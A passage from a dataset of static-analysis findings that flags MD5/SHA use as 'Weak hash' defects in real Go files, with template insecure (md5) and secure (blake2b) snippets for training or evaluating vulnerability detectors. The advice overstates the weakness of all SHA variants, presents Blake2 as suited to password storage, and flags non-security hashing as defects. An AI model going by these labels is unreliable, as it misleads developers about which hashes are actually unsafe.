sha1.New()\n\thash_user1.Write(user1Buff)\n\tuser1Sk, err := parsePemPrivate([]byte(user1SkBuff))\n\tif err != nil {\n\t\tlog.Fatal(\"private key read error2:%v\" ,err)\n\t}else{\n\t\tlog.Println(sk)\n\t}\n\n\tsignUser1Data, err := rsa.SignPKCS1v15(rand.Reader, user1Sk, crypto.SHA1, hash_user1.Sum(nil))\n\tif err != nil{\n\t\tlog.Fatal(\"get user1 buff error:%v\",err)\n\t}else{\n\t\tlog.Println(signUser1Data)\n\t}\n\n\t// signData to hex\n\thexUser1Sign := hex.EncodeToString(signUser1Data)\n\tlog.Println(hexUser1Sign)\n\tmdUser1 := metadata.Pairs(\"sign\", hexUser1Sign)\n\tctxUser1 := metadata.NewOutgoingContext(context.Background(), mdUser1)\n\tbalanceUser1, err := clientUser.GetBalance(ctxUser1,user1)\n\tif err != nil{\n\t\tlog.Fatal(\"get user balance error:%v\",err)\n\t}else{\n\t\tlog.Println(balanceUser1)\n\t}\n\t// send some coin from bank to user1,ensure your account has enough money\n var balanceBWC *pb_developer.AppBankCurrency\n bankCurrencies := balance.GetBankCurrencies()\n\tfor i := 0; i < len(bankCurrencies); i++ {\n\t\tif bankCurrencies[i].CoinType==\"BWC\" {\n\t\t\tbalanceBWC = bankCurrencies[i]\n\t\t\tbreak\n\t\t}\n\t}\n\t// send bank tx\n\tbankTx1 := &pb_developer.BankTx{SessionId:session.SessionId,TxType:\"out\",AppUserId:appUser1.AppUserId,CoinType:balanceBWC.CoinType,MainNet:balanceBWC.MainNet,CurrencyId:balanceBWC.Id,CryptoType:\"RSA\",Amount:\"100\"}\n\t// marshal tx\n\ttx1Buff, err := proto.Marshal(bankTx1)\n\tif err != nil{\n\t\tlog.Fatal(\"get tx1 buff error:%v\",err)\n\t}else{\n\t\tlog.Println(string(sessionBuff))\n\t}\n\t// sign tx\n\thashTx1 := sha1.New()\n\thashTx1.Write(tx1Buff)\n\tsignDataTx1, err := rsa.SignPKCS1v15(rand.Reader, sk, crypto.SHA1, hashTx1.Sum(nil))\n\tif err != nil{\n\t\tlog.Fatal(\"sign error:%v\",err)\n\t}else{\n\t\tlog.Println(signDataTx1)\n\t}\n\t// signData to hex\n\thexSignTx1 := hex.EncodeToString(signDataTx1)\n\tlog.Println(hexSignTx1)\n\tmdSignTx1 := metadata.Pairs(\"sign\", hexSignTx1)\n\tctxSignTx1 := metadata.NewOutgoingContext(context.Background(), mdSignTx1)\n\t// create tx\n\ttx1, err := clientDeveloper.SendTxFromBank(ctxSignTx1,bankTx1)\n\tif err != nil{\n\t\tlog.Fatal(\"create tx error:%v\",err)\n\t}else{\n\t\tlog.Println(tx1)\n\t}\n\n\t// send coin from one user to another user,before send,user need bind 2step verify\n\t// get user currency\n\tbalanceUser11, err := clientUser.GetBalance(ctxUser1,user1)\n\tif err != nil{\n\t\tlog.Fatal(\"get user balance error:%v\",err)\n\t}else{\n\t\tlog.Println(\"user1 currency is:\",balanceUser11)\n\t}\n\tvar user1BwcCurrency *pb_user.AppUserCurrency\n\tuser11Currencies := balanceUser11.GetAppUserCurrencies()\n\tfor i := 0; i < len(user11Currencies); i++ {\n\t\tif bankCurrencies[i].CoinType==\"BWC\" {\n\t\t\tuser1BwcCurrency = user11Currencies[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\tlog.Println(\"from user currency id is:\",user1BwcCurrency)\n\tuserTx1 := &pb_user.AppUserTx{AppId:session.AppId,CryptoType:\"RSA\",Amount:\"10\",FromUserCurrencyId:user1BwcCurrency.Id,ToUserId:appUser2.AppUserId}\n\n\tlog.Println(\"userTx1 is\",userTx1)\n\n\t// marshal tx\n\tuserTx1Buff, err := proto.Marshal(userTx1)\n\tif err != nil{\n\t\tlog.Fatal(\"get tx1 buff error:%v\",err)\n\t}else{\n\t\tlog.Println(string(userTx1Buff))\n\t}\n\t// sign tx\n\thashUserTx1 := sha1.New()\n\thashUserTx1.Write(userTx1Buff)\n\tsignDataUserTx1, err := rsa.SignPKCS1v15(rand.Reader, user1Sk, crypto.SHA1, hashUserTx1.Sum(nil))\n\tif err != nil{\n\t\tlog.Fatal(\"sign user tx error:%v\",err)\n\t}else{\n\t\tlog.Println(signDataUserTx1)\n\t}\n\t// signData to hex\n\thexSignUserTx1 := hex.EncodeToString(signDataUserTx1)\n\tlog.Println(hexSignUserTx1)\n\tmdSignUserTx1 := metadata.Pairs(\"sign\", hexSignUserTx1)\n\tctxUserSignTx1 := metadata.NewOutgoingContext(context.Background(), mdSignUserTx1)\n\t// create tx\n\ttxUser1, err := clientUser.CreateTx(ctxUserSignTx1,userTx1)\n\tif err != nil{\n\t\tlog.Fatal(\"create tx error:\",err)\n\t}else{\n\t\tlog.Println(txUser1)\n\t}\n\t/*\n\t\t// bind 2step verify\n\t\tclientTsv := pb_tsv.NewTSVServiceClient(connTsv)\n\t\tkeyTsv, err := clientTsv.GenerateKey(context.Background(),&pb_tsv.KeyRequest{SessionId:session.SessionId,Label:appUser1.AppUserId})\n\t\tif err != nil{\n\t\t\tlog.Fatal(\"generate key error:%v\",err)\n\t\t}else{\n\t\t\tlog.Println(\"==generate key finished\")\n\t\t\tlog.Println(keyTsv)\n\t\t}\n\n\t\tbindTsv, err := clientTsv.BindKey(context.Background(),&pb_tsv.BindKeyRequest{Key:\"\",ProviderName:\"akey.io\",VerifyCode:\"191651\",Label:appUser1.AppUserId})\n\t\tif err != nil{\n\t\t\tlog.Fatal(\"generate key error:%v\",err)\n\t\t}else{\n\t\t\tlog.Println(\"==bind key finished\")\n\t\t\tlog.Println(bindTsv)\n\t\t}\n\t*/\n\t// bind 2step key at user device\n // then sendTx with 2step verify code\n // change code to real code\n/*\n userSendTx1 := &pb_user.AppUserTx{Code:\"325268\",SessionId:session.SessionId}\n\tproto.Merge(userSendTx1,txUser1)\n\tlog.Println(\"merged:\",userSendTx1)\n\n\t// marshal tx\n\tuserSendTx1Buff, err := proto.Marshal(userSendTx1)\n\tif err != nil{\n\t\tlog.Fatal(\"get tx1 buff error:%v\",err)\n\t}else{\n\t\tlog.Println(string(userSendTx1Buff))\n\t}\n\t// sign tx\n\thashUserSendTx1 := sha1.New()\n\thashUserSendTx1.Write(userSendTx1Buff)\n\tsignDataUserSendTx1, err := rsa.SignPKCS1v15(rand.Reader, user1Sk, crypto.SHA1, hashUserSendTx1.Sum(nil))\n\tif err != nil{\n\t\tlog.Fatal(\"sign user tx error:%v\",err)\n\t}else{\n\t\tlog.Println(signDataUserSendTx1)\n\t}\n\t// signData to hex\n\thexSignUserSendTx1 := hex.EncodeToString(signDataUserSendTx1)\n\tlog.Println(hexSignUserSendTx1)\n\tmdSignUserSendTx1 := metadata.Pairs(\"sign\", hexSignUserSendTx1)\n\tctxUserSendSignTx1 := metadata.NewOutgoingContext(context.Background(), mdSignUserSendTx1)\n\t// create tx\n\ttxUserSend1, err := clientUser.SendTx(ctxUserSendSignTx1,userSendTx1)\n\tif err != nil{\n\t\tlog.Fatal(\"create tx error:\",err)\n\t}else{\n\t\tlog.Println(txUserSend1)\n\t}\n*/\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "03354b542212c248d8882c1e2151327b77a233be21a3dd19df17121fe6bcf9fb", "license": {"spdx": ["Apache-2.0"], "repo": "bookrun-go/BaiduPCS-Go", "path": "util/util.go", "repo_head_hexsha": "27f7e6159ade64a2bf3aec6904aff18b7f8b7154", "stack_hexsha": "84fb7f821ea0ae326e6e5bcb9bf083a600a1a9de", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package pcsutil\n\nimport (\n\t\"compress/gzip\"\n\t\"crypto/md5\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http/cookiejar\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"unsafe\"\n)\n\nvar (\n\t// PipeInput 命令中是否为管道输入\n\tPipeInput bool\n)\n\nfunc init() {\n\tfileInfo, err := os.Stdin.Stat()\n\tif err != nil {\n\t\treturn\n\t}\n\tPipeInput = (fileInfo.Mode() & os.ModeNamedPipe) == os.ModeNamedPipe\n}\n\n// ToString 将 []byte 转换为 string\nfunc ToString(p []byte) string {\n\treturn *(*string)(unsafe.Pointer(&p))\n}\n\n// ToBytes 将 string 转换为 []byte\nfunc ToBytes(str string) []byte {\n\treturn *(*[]byte)(unsafe.Pointer(&str))\n}\n\n// GetURLCookieString 返回cookie字串\nfunc GetURLCookieString(urlString string, jar *cookiejar.Jar) string {\n\turl, _ := url.Parse(urlString)\n\tcookies := jar.Cookies(url)\n\tcookieString := \"\"\n\tfor _, v := range cookies {\n\t\tcookieString += v.String() + \"; \"\n\t}\n\tcookieString = strings.TrimRight(cookieString, \"; \")\n\treturn cookieString\n}\n\n// Md5Encrypt 对 str 进行md5加密, 返回值为 str 加密后的密文\nfunc Md5Encrypt(str interface{}) string {\n\tmd5Ctx := md5.New()\n\tswitch value := str.(type) {\n\tcase string:\n\t\tmd5Ctx.Write([]byte(str.(string)))\n\tcase *string:\n\t\tmd5Ctx.Write([]byte(*str.(*string)))\n\tcase []byte:\n\t\tmd5Ctx.Write(str.([]byte))\n\tcase *[]byte:\n\t\tmd5Ctx.Write(*str.(*[]byte))\n\tdefault:\n\t\tfmt.Println(\"MD5Encrypt: undefined type:\", value)\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprintf(\"%X\", md5Ctx.Sum(nil))\n}\n\n// DecompressGZIP 对 io.Reader 数据, 进行 gzip 解压\nfunc DecompressGZIP(r io.Reader) ([]byte, error) {\n\tgzipReader, err := gzip.NewReader(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgzipReader.Close()\n\treturn ioutil.ReadAll(gzipReader)\n}\n\n// FlagProvided 检测命令行是否提供名为 name 的 flag, 支持多个name(names)\nfunc FlagProvided(names ...string) bool {\n\tif len(names) == 0 {\n\t\treturn false\n\t}\n\tvar targetFlag *flag.Flag\n\tfor _, name := range names {\n\t\ttargetFlag = flag.Lookup(name)\n\t\tif targetFlag == nil {\n\t\t\treturn false\n\t\t}\n\t\tif targetFlag.DefValue == targetFlag.Value.String() {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "58e5d8a075dc004731a2d4e99782ad479ad7bccb3fe8c0ce861de91ce4626706", "license": {"spdx": ["BSD-3-Clause"], "repo": "vonneudeck/bot", "path": "alert/alert.go", "repo_head_hexsha": "ca798dafd67c874a2a1662afd915ceb3740a6891", "stack_hexsha": "2f521881c9939173478ee26800e223d30c324de1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package alert\n\nimport (\n\t\"crypto/md5\"\n\t\"sort\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\nvar bufPool = sync.Pool{}\n\nfunc getBuf() []byte {\n\tb := bufPool.Get()\n\tif b == nil {\n\t\treturn make([]byte, 0, 1024)\n\t}\n\treturn b.([]byte)\n}\n\nfunc putBuf(b []byte) {\n\tb = b[:0]\n\tbufPool.Put(b)\n}\n\nfunc (a *Alert) names() []string {\n\tret := make([]string, 0, len(a.Labels))\n\n\tfor k := range a.Labels {\n\t\tret = append(ret, k)\n\t}\n\n\tsort.Strings(ret)\n\n\treturn ret\n}\n\n// Hash returns an md5 hash from alert labels.\nfunc (a *Alert) Hash() [16]byte {\n\tb := getBuf()\n\tdefer putBuf(b)\n\n\tfor _, k := range a.names() {\n\t\tb = append(b, k...)\n\t\tb = append(b, a.Labels[k]...)\n\t}\n\n\treturn md5.Sum(b)\n}\n\nfunc truncate(t time.Duration) time.Duration {\n\treturn t - t%time.Second\n}\n\nfunc (a *Alert) Since() time.Duration {\n\treturn truncate(time.Now().UTC().Sub(a.StartsAt))\n}\n\nfunc (a *Alert) Lasted() time.Duration {\n\treturn truncate(a.EndsAt.Sub(a.StartsAt))\n}\n\n// SetCurrent sets the current expected responder for alert to i atomically.\nfunc (a *Alert) SetCurrent(i int) {\n\tatomic.StoreInt32(&a.current, int32(i))\n}\n\n// Current returns the current expected responder for alert atomically.\nfunc (a *Alert) Current() int {\n\treturn int(atomic.LoadInt32(&a.current))\n}\n\n// AllFail returns true when SetAllFail has been called.\nfunc (a *Alert) AllFail() bool {\n\treturn atomic.LoadInt32(&a.allfail) == 1\n}\n\n// SetAllFails sets status to allfailed.\nfunc (a *Alert) SetAllFail() {\n\tatomic.StoreInt32(&a.allfail, 1)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "b00bda2edabc743e7109b391415f17c3d90587f16766d9b51b4bfe55756ee4c8", "license": {"spdx": ["MIT"], "repo": "jddixon/xlUtil_go", "path": "merkletree/merkle_leaf.go", "repo_head_hexsha": "1c2b765ef3b2ffea0af7945baa35728beb451a2e", "stack_hexsha": "61e67e1d1c2d809049b8c1250e140225092305f1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 6, "entireCode": "package merkletree\n\n// xlattice_go/util/merkletree/merkletree.go\n\nimport (\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\txu \"github.com/jddixon/xlUtil_go\"\n\txf \"github.com/jddixon/xlUtil_go/lfs\"\n\t\"golang.org/x/crypto/sha3\"\n\t\"io/ioutil\"\n)\n\nvar _ = fmt.Print\n\ntype MerkleLeaf struct {\n\tMerkleNode\n}\n\n// Creates a MerkleTree leaf node.\n\nfunc NewMerkleLeaf(name string, hash []byte, whichSHA int) (\n\tml *MerkleLeaf, err error) {\n\n\tmn, err := NewMerkleNode(name, hash, whichSHA)\n\tif err == nil {\n\t\tml = &MerkleLeaf{*mn}\n\t}\n\treturn\n}\n\n// Create a MerkleTree leaf node corresponding to a file in the file\n// system. To simplify programming, the base name of the file, which is\n// part of the path, is also passed as a separate argument.\n\nfunc CreateMerkleLeafFromFileSystem(pathToFile, name string, whichSHA int) (\n\tml *MerkleLeaf, err error) {\n\n\tvar hash []byte\n\tif whichSHA == xu.USING_SHA1 {\n\t\thash, err = SHA1File(pathToFile)\n\t} else if whichSHA == xu.USING_SHA2 {\n\t\thash, err = SHA2File(pathToFile)\n\t} else {\n\t\thash, err = SHA3File(pathToFile)\n\t}\n\tif err == nil {\n\t\tml, err = NewMerkleLeaf(name, hash, whichSHA)\n\t}\n\treturn\n}\nfunc (ml *MerkleLeaf) IsLeaf() bool {\n\treturn true\n}\nfunc (ml *MerkleLeaf) Equal(any interface{}) bool {\n\tif any == ml {\n\t\treturn true\n\t}\n\tif any == nil {\n\t\treturn false\n\t}\n\tswitch v := any.(type) {\n\tcase *MerkleLeaf:\n\t\t_ = v\n\tdefault:\n\t\treturn false\n\t}\n\tother := any.(*MerkleLeaf) // type assertion\n\tmyNode := &ml.MerkleNode\n\treturn myNode.Equal(&other.MerkleNode)\n}\n\n// Serialize the leaf node, prefixing it with 'indent', which should\n// conventionally be a number of spaces.\n\nfunc (ml *MerkleLeaf) ToString(indent, deltaIndent string) (\n\tstr string, err error) {\n\n\tvar shash string\n\thash := ml.hash\n\tif len(hash) == 0 {\n\t\tswitch ml.whichSHA {\n\t\tcase xu.USING_SHA1:\n\t\t\tshash = SHA1_NONE\n\t\tcase xu.USING_SHA2:\n\t\t\tshash = SHA2_NONE\n\t\tcase xu.USING_SHA3:\n\t\t\tshash = SHA3_NONE\n\t\t\t// XXX DEFAULT => ERROR\n\t\t}\n\t} else {\n\t\tshash = hex.EncodeToString(hash)\n\t}\n\tstr = fmt.Sprintf(\"%s%s %s\", indent, shash, ml.name)\n\treturn\n}\n\nfunc (ml *MerkleLeaf) ToStrings(indent, deltaIndent string, ss *[]string) (\n\terr error) {\n\n\tstr, err := ml.ToString(indent, deltaIndent)\n\tif err == nil {\n\t\t*ss = append(*ss, str)\n\t}\n\treturn\n}\n\n// Return the SHA1 hash of a file. This is a sequence of 20 bytes.\n\nfunc SHA1File(pathToFile string) (hash []byte, err error) {\n\tvar data []byte\n\tfound, err := xf.PathExists(pathToFile)\n\tif err == nil && !found {\n\t\terr = FileNotFound\n\t}\n\tif err == nil {\n\t\tdata, err = ioutil.ReadFile(pathToFile)\n\t\tif err == nil {\n\t\t\tdigest := sha1.New()\n\t\t\tdigest.Write(data)\n\t\t\thash = digest.Sum(nil)\n\t\t}\n\t}\n\treturn\n}\n\n// Return the SHA256 hash of a file. This is a sequence of 32 bytes.\n\nfunc SHA2File(pathToFile string) (hash []byte, err error) {\n\tvar data []byte\n\tfound, err := xf.PathExists(pathToFile)\n\tif err == nil && !found {\n\t\terr = FileNotFound\n\t}\n\tif err == nil {\n\t\tdata, err = ioutil.ReadFile(pathToFile)\n\t\tif err == nil {\n\t\t\tdigest := sha256.New()\n\t\t\tdigest.Write(data)\n\t\t\thash = digest.Sum(nil)\n\t\t}\n\t}\n\treturn\n}\n\n// Return the SHA3-256 hash of a file. This is a sequence of 32 bytes.\n\nfunc SHA3File(pathToFile string) (hash []byte, err error) {\n\tvar data []byte\n\tfound, err := xf.PathExists(pathToFile)\n\tif err == nil && !found {\n\t\terr = FileNotFound\n\t}\n\tif err == nil {\n\t\tdata, err = ioutil.ReadFile(pathToFile)\n\t\tif err == nil {\n\t\t\tdigest := sha3.New256()\n\t\t\tdigest.Write(data)\n\t\t\thash = digest.Sum(nil)\n\t\t}\n\t}\n\treturn\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "16d775fc46d1da1418d277d0c96bf86641554f3d98b2fd125f92c77e94a66fda", "license": {"spdx": ["BSD-3-Clause"], "repo": "xswz8015/infra", "path": "go/src/infra/appengine/sheriff-o-matic/som/model/model_test.go", "repo_head_hexsha": "f956b78ce4c39cc76acdda47601b86794ae0c1ba", "stack_hexsha": "fec3b74dfce8fae89d40f35c38bd9fbba37a0165", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 8, "entireCode": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\npackage model\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"go.chromium.org/luci/appengine/gaetesting\"\n\t\"go.chromium.org/luci/common/clock\"\n\t\"go.chromium.org/luci/common/clock/testclock\"\n\t\"go.chromium.org/luci/gae/service/datastore\"\n\n\t. \"github.com/smartystreets/goconvey/convey\"\n)\n\nvar _ = fmt.Printf\n\nfunc TestAnnotation(t *testing.T) {\n\tt.Parallel()\n\n\tConvey(\"Annotation\", t, func() {\n\t\tc := gaetesting.TestingContext()\n\t\tcl := testclock.New(testclock.TestTimeUTC)\n\t\tc = clock.Set(c, cl)\n\n\t\tann := &Annotation{\n\t\t\tKey: \"foobar\",\n\t\t\tKeyDigest: fmt.Sprintf(\"%x\", sha1.Sum([]byte(\"foobar\"))),\n\t\t\tModificationTime: cl.Now(),\n\t\t}\n\t\tcl.Add(time.Hour)\n\n\t\tConvey(\"allows weird keys\", func() {\n\t\t\tann.Key = \"hihih\\\"///////%20 lol\"\n\t\t\tann.KeyDigest = fmt.Sprintf(\"%x\", sha1.Sum([]byte(ann.Key)))\n\t\t\tSo(datastore.Put(c, ann), ShouldBeNil)\n\t\t})\n\n\t\tConvey(\"allows long keys\", func() {\n\t\t\t// App engine key size limit is 500 characters\n\t\t\tann.Key = strings.Repeat(\"annnn\", 200)\n\t\t\tann.KeyDigest = fmt.Sprintf(\"%x\", sha1.Sum([]byte(ann.Key)))\n\t\t\tSo(datastore.Put(c, ann), ShouldBeNil)\n\t\t})\n\n\t\tConvey(\"with mocked checkAndGetBug\", func() {\n\t\t\tConvey(\"add\", func() {\n\t\t\t\tConvey(\"time\", func() {\n\t\t\t\t\tchangeS := `{\"snoozeTime\":123123}`\n\t\t\t\t\tneedRefresh, err := ann.Add(c, strings.NewReader(changeS))\n\n\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 123123)\n\t\t\t\t\tSo(ann.Bugs, ShouldBeNil)\n\t\t\t\t\tSo(ann.Comments, ShouldBeNil)\n\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now())\n\t\t\t\t})\n\n\t\t\t\tConvey(\"bugs\", func() {\n\t\t\t\t\tchangeString := `{\"bugs\":[{\"id\": \"123123\", \"projectId\": \"chromium\"}]}`\n\t\t\t\t\tConvey(\"basic\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Add(c, strings.NewReader(changeString))\n\n\t\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeTrue)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 0)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, []MonorailBug{{BugID: \"123123\", ProjectID: \"chromium\"}})\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now())\n\n\t\t\t\t\t\tConvey(\"duplicate bugs\", func() {\n\t\t\t\t\t\t\tcl.Add(time.Hour)\n\t\t\t\t\t\t\tneedRefresh, err = ann.Add(c, strings.NewReader(changeString))\n\t\t\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\n\t\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 0)\n\t\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, []MonorailBug{{BugID: \"123123\", ProjectID: \"chromium\"}})\n\t\t\t\t\t\t\tSo(ann.Comments, ShouldBeNil)\n\t\t\t\t\t\t\t// We aren't changing the annotation, so the modification time shouldn't update.\n\t\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now().Add(-time.Hour))\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\n\t\t\t\t\tConvey(\"bug error\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Add(c, strings.NewReader(\"hi\"))\n\n\t\t\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 0)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldBeNil)\n\t\t\t\t\t\tSo(ann.Comments, ShouldBeNil)\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now().Add(-time.Hour))\n\t\t\t\t\t})\n\t\t\t\t})\n\n\t\t\t\tConvey(\"comments\", func() {\n\t\t\t\t\tchangeString := `{\"comments\":[\"woah\", \"man\", \"comments\"]}`\n\t\t\t\t\tConvey(\"basic\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Add(c, strings.NewReader(changeString))\n\t\t\t\t\t\tt := cl.Now()\n\n\t\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 0)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldBeNil)\n\n\t\t\t\t\t\tSo(ann.Comments, ShouldResemble, []Comment{{\"woah\", \"\", t}, {\"man\", \"\", t}, {\"comments\", \"\", t}})\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, t)\n\t\t\t\t\t})\n\n\t\t\t\t\tConvey(\"comments error\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Add(c, strings.NewReader(\"plz don't add me\"))\n\n\t\t\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 0)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldBeNil)\n\t\t\t\t\t\tSo(ann.Comments, ShouldBeNil)\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now().Add(-time.Hour))\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t})\n\n\t\t\tConvey(\"remove\", func() {\n\t\t\t\tt := 